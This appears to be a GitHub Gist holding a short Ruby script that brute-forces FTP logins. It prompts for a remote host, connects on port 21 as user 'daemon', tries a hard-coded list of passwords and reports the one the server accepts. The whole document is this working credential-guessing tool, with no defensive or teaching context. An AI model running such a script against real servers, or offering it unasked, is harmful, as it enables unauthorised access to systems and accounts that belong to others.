Skip to content

Instantly share code, notes, and snippets.

@mayrund
Created July 28, 2015 14:46
Show Gist options
  • Save mayrund/78ffdf1e437a581982d6 to your computer and use it in GitHub Desktop.
Save mayrund/78ffdf1e437a581982d6 to your computer and use it in GitHub Desktop.
require 'socket'
def tcpconnect(username, password)
temp_data = ''
begin
s = TCPSocket.new($host, 21)
temp_data = s.gets
s.puts("USER #{username}\r\n")
temp_data = s.gets
s.puts("PASS #{password}\r\n")
temp_data = s.gets
s.puts("QUIT\r\n")
s.close()
rescue Exception=>e
temp_data = '404'
end
return temp_data
end
line = "\n-------------------------------------------------"
print "[*] Enter Remote Host Address: "
$host = gets.chomp()
puts
username = 'daemon'
password_list = ['cracker', 'hacker', 'ghost','admin','skyrocket']
password_list.each do |x|
attemp = tcpconnect(username, x)
if attemp.include? "230"
puts "#{line} [*] Username: #{username} [*] Password found #{x} #{line}"
exit
elsif attemp.include? "530"
puts "[*] Username: #{username} Password #{x} [*] Login incorrect!"
elsif attemp.include? "404"
puts "[*] Connection was refused by remote host"
break
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment